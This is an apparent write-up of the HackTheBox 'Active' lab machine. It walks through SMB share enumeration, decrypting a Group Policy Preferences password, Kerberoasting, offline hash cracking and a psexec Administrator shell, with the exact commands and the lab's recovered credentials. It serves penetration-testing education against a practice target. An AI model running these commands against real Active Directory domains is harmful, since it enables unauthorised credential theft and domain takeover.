# ✅  Active - Easy

***

<figure><img src="https://4264356657-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFTAj3opwoJWyy3dgqmeZ%2Fuploads%2FItWU51k5m1FBC4Uo7POt%2F1_UtBD52p6xo4aYbzZ6bifxg.png?alt=media&#x26;token=83fb8fa5-4e2f-4f2d-a6a5-45c061d941eb" alt=""><figcaption></figcaption></figure>

> The "Active" machine on [HackTheBox ](https://app.hackthebox.com/machines/148)is categorized as an easy-level target, designed to put various techniques to the test, such as <mark style="color:red;">SMB Enumeration</mark>, exploitation of <mark style="color:red;">GPP Passwords</mark>, and <mark style="color:red;">Kerberoasting attacks</mark> for privilege escalation within a domain. It is an excellent starting point for those embarking on the journey of learning about Active Directory.

#### Tools:

* Crackmapexec
* SMBMap
* SMBClient
* gpp-decrypt
* Psexec

### Reconnaissance

The initial phase entails verifying the target machine's connectivity. A simple ping can yield essential details, such as the TTL (Time To Live), which often hints at the operating system. For instance, a TTL of 64 or less usually signifies a Linux system, whereas a TTL of 128 or less indicates a Windows system. Here, we're dealing with a Windows system.

```bash
 ping -c 3 10.129.234.245
```

<figure><img src="https://4264356657-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFTAj3opwoJWyy3dgqmeZ%2Fuploads%2FlbLh1hF24Qis2nnlSMTt%2FPasted%20image%2020240321234642.png?alt=media&#x26;token=85951d04-9d89-461c-9344-15816f06daf3" alt=""><figcaption></figcaption></figure>

Following the connectivity check, a Nmap scan is initiated to identify open ports on the machine. I typically start by scanning for open ports using the **-sS** flag for a Stealth Scan, coupled with additional flags to expedite the scan.

```bash
nmap -sS -p- -Pn -n --min-rate 5000 10.129.234.245 -oG nmap/allports -vvv
```

After pinpointing the open ports, I conduct a more detailed scan using Nmap's built-in recon scripts to determine the versions and technologies associated with each port.

```bash
nmap -sVC -p53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,47001,49152,49153,49154,49155,49157,49158,49169,49173,49174 10.129.234.245 -oN nmap/targeted -vvv
```

<figure><img src="https://4264356657-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFTAj3opwoJWyy3dgqmeZ%2Fuploads%2FUtBJO2ZDd0ZI3ijtqcYf%2FPasted%20image%2020240321234837.png?alt=media&#x26;token=8a76898c-0b2d-4330-9e89-25124e039fcf" alt=""><figcaption></figcaption></figure>

Given the plethora of open ports on the machine, a strategic approach is to begin with the most common ones, such as 445 (SMB), 135 (RPC), and 53 (DNS).

#### Enumerating SMB Shares:

The first step in enumeration involved SMB shares to identify accessible directories and potential user accounts. Various tools, including **smbclient**, **smbmap**, and [C**r**](#user-content-fn-1)[^1]**ackmapexec**, are commonly utilized for this purpose.

I started with Crackmapexec to gather information such as the domain and available shares.

<figure><img src="https://4264356657-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFTAj3opwoJWyy3dgqmeZ%2Fuploads%2FwTDFQwEkDOPHJhx8Dw4C%2FPasted%20image%2020240321234301.png?alt=media&#x26;token=80bf5d7e-5459-463a-8c6f-e75a45b62d4c" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4264356657-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFTAj3opwoJWyy3dgqmeZ%2Fuploads%2FdFWhpbn8R6urReg6M8AT%2FPasted%20image%2020240321234320.png?alt=media&#x26;token=02ad246d-4ecd-4d16-9315-a02f5cfe0917" alt=""><figcaption></figcaption></figure>

An error occurred while trying to enumerate the file shares, prompting me to switch to [**smbmap**](https://www.kali.org/tools/smbmap/), an effective alternative for this task. Smbmap provides detailed file permissions, and in this case, I simply passed the -H flag to specify the host and IP address, not providing a username or password since I utilized a null or guest session.

```bash
smbmap -H 10.129.234.24 
```

<figure><img src="https://4264356657-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFTAj3opwoJWyy3dgqmeZ%2Fuploads%2Fz1d139zSWTscpXvCgQp2%2FPasted%20image%2020240321214443.png?alt=media&#x26;token=3675af26-aef2-4e90-88de-74079c53d273" alt=""><figcaption></figcaption></figure>

With the compiled information about the shares, we learned that we have access to the Replication share. To further explore this directory, we'll switch to smbclient, enabling us to establish a guest session to access and download the contents of this share.

Download Replication folder recursively:

```bash
smbclient //10.129.234.245/Replication -N
```

Use `mget` to Download the Folder (SMB)

```bash
recurse
prompt off
mget *
```

<figure><img src="https://4264356657-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFTAj3opwoJWyy3dgqmeZ%2Fuploads%2FotAW2qdIbDuMV74RlgK0%2FPasted%20image%2020240321214730.png?alt=media&#x26;token=d9cbd912-bb99-4be3-a136-cc90f915d327" alt=""><figcaption></figcaption></figure>

Once, we have the files locally we can exit from smbclient and apply a tree to visualize the folders and files. As you can see have several folders and files, but something that looks interesting is the file called Groups.xml that usually contain encrypted credentials that we can get in plain-text.

<figure><img src="https://4264356657-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFTAj3opwoJWyy3dgqmeZ%2Fuploads%2FPAyQaXlE4BJlBNfA7Fio%2FPasted%20image%2020240321215134.png?alt=media&#x26;token=2fcfe576-5724-4c8e-aa4e-01025e82e81b" alt=""><figcaption></figcaption></figure>

***

**Optional:**

if you have struggle to get into the directory you can use the following command to display the contents.

```bash
tree -faus | grep Groups.xml | awk 'NF{print $NF}' | xargs cat
```

***

<figure><img src="https://4264356657-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFTAj3opwoJWyy3dgqmeZ%2Fuploads%2FhfWVmsgGh7M3UNgC6a4n%2FPasted%20image%2020240321215819.png?alt=media&#x26;token=0a1e002a-8704-4a34-ad6e-e0d0d6dd1b23" alt=""><figcaption></figcaption></figure>

Upon securing the files locally, I executed a `tree` command to visualize the structure, where a file named `Groups.xml` stood out. Typically, this file contains credentials that, despite being encrypted, can be decrypted to plain text.

#### Decrypt the password

The contents of `Groups.xml` revealed a `cpassword` field with encrypted data. In the context of Group Policy Preferences, such passwords were once used to deliver settings and credentials across a domain. Despite being encrypted, the method was flawed—Microsoft published the decryption key, making it possible to convert such encrypted passwords to plain text using tools like [gpp-decrypt](https://www.kali.org/tools/gpp-decrypt/).

```bash
gpp-decrypt 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ'
```

```bash
GPPstillStandingStrong2k18
```

With the username and now-decrypted password in hand, we can proceed to verify these credentials using tools such as `crackmapexec`, moving one step closer to gaining meaningful access to the domain.

```bash
crackmapexec smb 10.129.234.245 -u SVC_TGS -p GPPstillStandingStrong2k18
```

### Exploitation

Now that we possess valid credentials, the logical next step is to attempt a Kerberoasting attack. This technique targets service accounts by requesting service tickets, which can then be cracked offline to reveal service account passwords.

**Performing a Kerberoasting Attack:**

```bash
GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -request
```

<figure><img src="https://4264356657-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFTAj3opwoJWyy3dgqmeZ%2Fuploads%2FqMfJVqjuBBQ2DiGyABvK%2FPasted%20image%2020240321234448.png?alt=media&#x26;token=569e4023-5980-4d4b-bee0-b74f65689a31" alt=""><figcaption></figcaption></figure>

**Important Considerations:**

* Ensure that your local system clock is synchronized with the Domain Controller (DC) to prevent potential time-skew issues which could cause the attack to fail.
* Confirm that the domain `active.htb` is correctly mapped in your local `/etc/hosts` file. This step is crucial as it allows your system to properly resolve the domain and communicate with the DC, avoiding common network resolution problems during the attack.

#### Cracking Password Hash

Following the Kerberoasting attack, we have successfully acquired the password hash associated with the Administrator account. The subsequent phase involves cracking this hash to obtain the plaintext password. For this purpose, one can employ potent tools like Hashcat or John The Ripper. In this instance, I opted for John The Ripper, running on a local Windows machine and utilizing the comprehensive `rockyou` wordlist.

```PowerShell
.\john.exe -w:.\rockyou1.txt .\hash
```

<figure><img src="https://4264356657-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFTAj3opwoJWyy3dgqmeZ%2Fuploads%2Fg3IeyvBQASyMKKhdvWee%2FPasted%20image%2020240119125954.png?alt=media&#x26;token=312134cf-4f42-4b5f-bced-33ba702a27ad" alt=""><figcaption></figcaption></figure>

Upon obtaining the plaintext password from the hash, it's prudent to validate this password to ensure its legitimacy. This can be accomplished using the `crackmapexec` utility, which is a versatile tool for testing authentication over various protocols, including SMB.

<figure><img src="https://4264356657-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFTAj3opwoJWyy3dgqmeZ%2Fuploads%2Fzdg6035Z5Zu3fu9uDg30%2FPasted%20image%2020240119130055.png?alt=media&#x26;token=489c2fb2-dcfd-470c-a29c-0ae635681f0f" alt=""><figcaption></figcaption></figure>

### Getting Access

With the output confirming that we indeed have the Administrator credentials, the next objective is to gain interactive access to the system. One common method to achieve this is by using `psexec`, which allows us to execute processes on another system, in this case, to obtain a shell. Once the shell is secured, we can navigate the system and retrieve any flags or data necessary to complete the challenge.

```bash
psexec.py active.htb/Administrator:'Ticketmaster1968'@10.129.234.245
```

<figure><img src="https://4264356657-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFTAj3opwoJWyy3dgqmeZ%2Fuploads%2FJ6NA0tX3GbTRWSM1giev%2FPasted%20image%2020240321234025.png?alt=media&#x26;token=c2d7c3d1-c133-4c8e-bb1f-4d06fef92aac" alt=""><figcaption></figcaption></figure>



[^1]: 
